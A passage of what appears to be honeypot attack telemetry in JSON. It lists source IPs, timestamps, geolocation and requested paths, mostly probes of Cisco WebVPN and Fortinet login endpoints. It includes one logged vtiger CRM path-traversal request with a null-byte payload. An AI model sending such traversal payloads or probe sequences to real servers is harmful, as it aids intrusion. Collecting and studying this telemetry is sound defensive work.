        "\"POST /vtigercrm/phprint.php?action=fa&module=ff&lang_crm=../../cache/import/IMPORT_%00 HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "23.234.75.74": {
      "attack_count": 3,
      "first_seen": "2026-05-04T19:23:23.063Z",
      "last_seen": "2026-05-04T19:23:31.712Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "47.245.138.189": {
      "attack_count": 3,
      "first_seen": "2026-05-08T17:48:47.757Z",
      "last_seen": "2026-05-08T17:48:51.819Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd."
    },
    "170.246.55.89": {
      "attack_count": 2,
      "first_seen": "2026-05-31T01:00:00.240Z",
      "last_seen": "2026-05-31T01:00:01.892Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 263740,
      "as_org": "Corporacion Laceibanetsociety"
    },
    "185.228.193.161": {
      "attack_count": 2,
      "first_seen": "2026-05-25T03:03:16.368Z",
      "last_seen": "2026-05-25T03:03:16.951Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 3257,
      "as_org": "GTT Communications Inc."
    },
    "20.169.104.218": {
      "attack_count": 2,
      "first_seen": "2026-05-05T08:15:17.404Z",
      "last_seen": "2026-05-05T08:15:20.407Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "3.82.198.92": {
      "attack_count": 2,
      "first_seen": "2026-05-08T01:00:26.262Z",
      "last_seen": "2026-05-08T01:00:29.265Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "71.6.232.27": {
      "attack_count": 2,
      "first_seen": "2026-05-04T13:37:48.472Z",
      "last_seen": "2026-05-04T13:37:51.475Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc."
    },
    "91.196.152.248": {
      "attack_count": 2,
      "first_seen": "2026-05-20T20:07:23.789Z",
      "last_seen": "2026-05-29T11:00:14.523Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "142.111.152.222": {
      "attack_count": 1,
      "first_seen": "2026-05-25T02:30:42.151Z",
      "last_seen": "2026-05-25T02:30:42.151Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.0\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "194.187.178.31": {
      "attack_count": 1,
      "first_seen": "2026-05-05T02:28:16.608Z",
      "last_seen": "2026-05-05T02:28:16.608Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 215778,
      "as_org": "Alpha Strike Labs GmbH"
    },
    "195.184.76.247": {
      "attack_count": 1,
      "first_seen": "2026-05-10T11:48:08.145Z",
      "last_seen": "2026-05-10T11:48:08.145Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "45.92.19.139": {
      "attack_count": 1,
      "first_seen": "2026-05-05T09:04:32.467Z",
      "last_seen": "2026-05-05T09:04:32.467Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 6206,
      "as_org": "Netrouting B.V."
    },
    "64.62.197.183": {
      "attack_count": 1,
      "first_seen": "2026-05-07T10:45:33.312Z",
      "last_seen": "2026-05-07T10:45:33.312Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "91.230.168.203": {
      "attack_count": 1,
      "first_seen": "2026-05-26T18:28:13.899Z",
      "last_seen": "2026-05-26T18:28:13.899Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "170.62.100.233": {
      "attack_count": 147,
      "first_seen": "2026-05-08T11:52:34.924Z",
      "last_seen": "2026-05-31T03:33:59.630Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.78.73": {
      "attack_count": 48,
      "first_seen": "2026-05-02T02:33:49.784Z",
      "last_seen": "2026-05-28T01:53:14.010Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.119.195": {
      "attack_count": 35,
      "first_seen": "2026-05-09T07:14:09.626Z",
      "last_seen": "2026-05-30T04:19:53.190Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.73.76": {
      "attack_count": 33,
      "first_seen": "2026-05-03T02:41:35.240Z",
      "last_seen": "2026-05-27T18:01:11.297Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.110.73": {
      "attack_count": 30,
      "first_seen": "2026-05-02T02:05:13.975Z",
      "last_seen": "2026-05-27T08:54:23.925Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.90.68": {
      "attack_count": 30,
      "first_seen": "2026-05-05T14:12:22.004Z",
      "last_seen": "2026-05-30T03:49:52.496Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "142.111.226.112": {
      "attack_count": 28,
      "first_seen": "2026-05-26T17:53:17.085Z",
      "last_seen": "2026-05-30T02:28:09.995Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "172.120.158.201": {
      "attack_count": 28,
      "first_seen": "2026-05-27T02:15:53.802Z",
      "last_seen": "2026-05-29T20:44:58.257Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "23.234.101.73": {
      "attack_count": 27,
      "first_seen": "2026-05-04T10:53:54.824Z",
      "last_seen": "2026-05-26T09:11:30.317Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.210.22": {
      "attack_count": 25,
      "first_seen": "2026-05-04T13:34:44.061Z",
      "last_seen": "2026-05-30T15:40:17.046Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "103.102.247.68": {
      "attack_count": 24,
      "first_seen": "2026-05-05T04:13:01.997Z",
      "last_seen": "2026-05-30T09:40:11.597Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "146.70.168.70": {
      "attack_count": 24,
      "first_seen": "2026-05-05T22:35:18.109Z",
      "last_seen": "2026-05-26T16:35:35.427Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.187.158": {
      "attack_count": 24,
      "first_seen": "2026-05-07T10:01:53.026Z",
      "last_seen": "2026-05-30T07:40:24.103Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.187.94": {
      "attack_count": 24,
      "first_seen": "2026-05-02T04:29:32.103Z",
      "last_seen": "2026-05-24T01:49:39.295Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.119.73": {
      "attack_count": 24,
      "first_seen": "2026-05-03T02:04:36.843Z",
      "last_seen": "2026-05-29T23:09:32.194Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.210.34": {
      "attack_count": 24,
      "first_seen": "2026-05-03T01:04:16.873Z",
      "last_seen": "2026-05-22T10:25:51.002Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "103.102.246.24": {
      "attack_count": 21,
      "first_seen": "2026-05-17T03:09:24.380Z",
      "last_seen": "2026-05-30T08:06:15.209Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "142.252.132.139": {
      "attack_count": 21,
      "first_seen": "2026-05-27T02:49:54.786Z",
      "last_seen": "2026-05-29T17:30:15.719Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "186.243.191.152": {
      "attack_count": 21,
      "first_seen": "2026-05-26T17:49:10.662Z",
      "last_seen": "2026-05-30T11:40:46.450Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Lewisboro",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "186.243.233.146": {
      "attack_count": 21,
      "first_seen": "2026-05-29T12:05:11.443Z",
      "last_seen": "2026-05-31T01:39:02.848Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chevy Chase",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "193.17.42.104": {
      "attack_count": 21,
      "first_seen": "2026-05-27T11:26:40.717Z",
      "last_seen": "2026-05-27T20:27:25.654Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.74.213": {
      "attack_count": 21,
      "first_seen": "2026-05-11T09:29:05.448Z",
      "last_seen": "2026-05-28T01:12:44.631Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.77.148": {
      "attack_count": 21,
      "first_seen": "2026-05-02T04:11:01.987Z",
      "last_seen": "2026-05-31T02:35:05.496Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.97.81": {
      "attack_count": 21,
      "first_seen": "2026-05-05T19:19:26.569Z",
      "last_seen": "2026-05-23T15:08:53.411Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.210.7": {
      "attack_count": 21,
      "first_seen": "2026-05-02T07:30:37.626Z",
      "last_seen": "2026-05-26T15:46:05.615Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "45.192.41.49": {
      "attack_count": 21,
      "first_seen": "2026-05-26T07:55:06.266Z",
      "last_seen": "2026-05-31T02:29:53.101Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "79.127.222.214": {
      "attack_count": 21,
      "first_seen": "2026-05-03T01:52:28.870Z",
      "last_seen": "2026-05-31T02:30:55.116Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "McAllen",
      "asn": 60068,
      "as_org": "Datacamp Limited"
    },
    "103.251.27.200": {
      "attack_count": 18,
      "first_seen": "2026-05-04T17:50:12.686Z",
      "last_seen": "2026-05-31T04:29:39.109Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.234.117.200": {
      "attack_count": 18,
      "first_seen": "2026-05-02T03:02:32.128Z",
      "last_seen": "2026-05-27T16:22:29.906Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.82.206": {
      "attack_count": 18,
      "first_seen": "2026-05-08T23:11:37.060Z",
      "last_seen": "2026-05-30T01:54:37.341Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.83.79": {
      "attack_count": 18,
      "first_seen": "2026-05-05T01:09:12.344Z",
      "last_seen": "2026-05-25T20:11:29.136Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.90.73": {
      "attack_count": 18,
      "first_seen": "2026-05-14T11:10:32.507Z",
      "last_seen": "2026-05-26T12:11:01.097Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "87.249.134.20": {
      "attack_count": 18,
      "first_seen": "2026-05-05T03:40:14.820Z",
      "last_seen": "2026-05-29T15:59:51.084Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "65.49.1.182": {
      "attack_count": 16,
      "first_seen": "2026-05-02T07:59:00.430Z",
      "last_seen": "2026-05-02T08:04:57.654Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "142.111.3.94": {
      "attack_count": 15,
      "first_seen": "2026-05-29T09:23:22.175Z",
      "last_seen": "2026-05-30T11:19:41.948Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "23.234.68.148": {
      "attack_count": 15,
      "first_seen": "2026-05-05T05:11:46.415Z",
      "last_seen": "2026-05-14T06:18:11.244Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.72.213": {
      "attack_count": 15,
      "first_seen": "2026-05-05T19:29:44.300Z",
      "last_seen": "2026-05-25T15:11:02.404Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.99.81": {
      "attack_count": 15,
      "first_seen": "2026-05-04T18:21:43.283Z",
      "last_seen": "2026-05-14T01:17:47.809Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "87.249.134.16": {
      "attack_count": 15,
      "first_seen": "2026-05-07T01:21:50.114Z",
      "last_seen": "2026-05-26T07:56:16.541Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
